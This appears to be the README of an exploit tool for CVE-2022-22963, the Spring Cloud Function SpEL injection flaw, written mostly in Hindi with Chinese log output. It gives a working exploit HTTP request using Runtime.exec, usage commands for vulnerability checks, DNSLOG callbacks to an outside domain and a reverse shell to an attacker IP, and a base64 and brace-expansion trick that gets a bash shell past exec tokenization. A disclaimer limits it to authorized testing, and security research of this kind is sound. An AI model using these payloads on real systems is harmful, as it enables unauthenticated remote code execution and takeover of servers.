CVE-2022-22963

Spring Cloud Function SpEL अभिव्यक्ति इंजेक्शन रिमोट कोड एक्ज़ीक्यूशन भेद्यता का पता लगाने और शोषण करने का उपकरण।

भेद्यता अवलोकन

CVE-2022-22963 Spring Cloud Function रूटिंग फ़ंक्शन में एक उच्च-जोखिम वाला RCE भेद्यता है (CVSS 9.8)। जब एप्लिकेशन /functionRouter एंडपॉइंट सक्षम करता है, तो spring.cloud.function.routing-expression अनुरोध हेडर का मान सीधे SpEL (Spring Expression Language) अभिव्यक्ति के रूप में निष्पादित होता है, और हमलावर बिना प्रमाणीकरण के लक्ष्य सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकता है।

प्रभावित संस्करण:

भेद्यता सिद्धांत:

POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

सर्वर SpEL निष्पादित करने के बाद, exec() एक Process ऑब्जेक्ट लौटाता है; जब Spring इसे सीरियलाइज़ करने का प्रयास करता है तो अपवाद उत्पन्न होता है, और प्रतिक्रिया HTTP 500 होती है। कमांड पृष्ठभूमि में एसिंक्रोनस रूप से निष्पादित होता है, परिणाम HTTP प्रतिक्रिया में प्रतिध्वनित नहीं होता, इसलिए DNSLOG या रिवर्स शेल जैसे साइड-चैनल के माध्यम से पुष्टि करना आवश्यक है।

विशेषताएँ

• भेद्यता का पता लगाना: SpEL के माध्यम से विशिष्ट प्रतिक्रिया को ट्रिगर करके यह निर्धारित करना कि लक्ष्य में भेद्यता मौजूद है या नहीं
• DNSLOG सत्यापन: DNSLOG डोमेन पर ping अनुरोध भेजकर DNS रिकॉर्ड के माध्यम से कमांड निष्पादन की पुष्टि करना
• रिवर्स शेल: स्पेस प्रतिबंधों को बायपास करने के लिए base64 एन्कोडिंग का उपयोग करके निर्दिष्ट पते पर इंटरैक्टिव शेल वापस भेजना

स्थापना

pip install requests

Python 3.6+ कोई अन्य निर्भरता नहीं।

उपयोग विधि

python3 CVE-2022-22963.py -u <目标URL> [选项]

पैरामीटर स्पष्टीकरण

भेद्यता जाँच

python3 CVE-2022-22963.py -u http://target.example.com -c

2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞！

DNSLOG सत्यापन

बिना प्रतिध्वनि वाली स्थिति में कमांड के वास्तविक निष्पादन की पुष्टि करने के लिए उपयोग किया जाता है:

python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn

2024-01-01 12:00:01 - INFO - [+] payload 已发送，请检查 abc123.dnslog.cn 是否收到 DNS 请求（确认实际执行）

इसके बाद DNSLOG प्लेटफ़ॉर्म पर जाँचें कि लक्ष्य IP से DNS क्वेरी रिकॉर्ड प्राप्त हुआ या नहीं।

रिवर्स शेल

हमलावर मशीन पर लिसनिंग शुरू करें:

nc -lvnp 9999

payload भेजें:

python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999

2024-01-01 12:00:02 - INFO - [+] payload 已发送，请在 192.168.1.100:9999 等待连接（仅支持 Linux/bash 目标）

ध्यान दें: रिवर्स शेल लक्ष्य सिस्टम में /dev/tcp समर्थन पर निर्भर करता है, केवल Linux + bash वातावरण पर लागू होता है, Windows लक्ष्य या sh/ash/dash जैसे शेल का समर्थन नहीं करता।

तकनीकी विवरण

डिटेक्शन सिद्धांत

डिटेक्शन अनुरोध /functionRouter पर वास्तविक SpEL अभिव्यक्ति भेजता है:

T(java.lang.Runtime).getRuntime().exec('id')

• भेद्यता मौजूद: SpEL निष्पादित होता है, Process ऑब्जेक्ट सीरियलाइज़ नहीं हो सकता → HTTP 500 + "path":"/functionRouter"
• भेद्यता मौजूद नहीं: हेडर अनदेखा किया जाता है, फ़ंक्शन रूटिंग विफल होती है → प्रतिक्रिया कोड या बॉडी उपरोक्त विशेषताओं से मेल नहीं खाती

रिवर्स शेल एन्कोडिंग प्रक्रिया

Runtime.exec(String) शेल व्याख्या से नहीं गुजरता, कमांड स्ट्रिंग को सीधे स्पेस के आधार पर tokenize करता है, और पाइप और रीडायरेक्शन को संभाल नहीं सकता। उपकरण निम्नलिखित तरीकों से इसे बायपास करता है:

1. रिवर्स शेल कमांड को base64 एन्कोड करें, विशेष वर्णों को समाप्त करें
2. स्पेस के बजाय bash brace expansion {cmd,arg} का उपयोग करें
3. अंततः लक्ष्य bash का -c पैरामीटर पाइप और रीडायरेक्शन को संभालता है

bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i

चेंजलॉग

अस्वीकरण

यह उपकरण केवल सुरक्षा अनुसंधान, अधिकृत पेनेट्रेशन टेस्टिंग और शैक्षिक उद्देश्यों के लिए है।

इस उपकरण का उपयोग करने का अर्थ है कि आप सहमत हैं:

1. केवल स्पष्ट लिखित प्राधिकरण वाले लक्ष्य सिस्टम पर उपयोग करें
2. अपने क्षेत्र में लागू सभी कानूनों और विनियमों का पालन करें
3. इस उपकरण के उपयोग से उत्पन्न होने वाले सभी परिणामों की पूरी ज़िम्मेदारी लें

लेखक किसी भी अनधिकृत उपयोग और उसके परिणामों के लिए कोई ज़िम्मेदारी नहीं लेता है।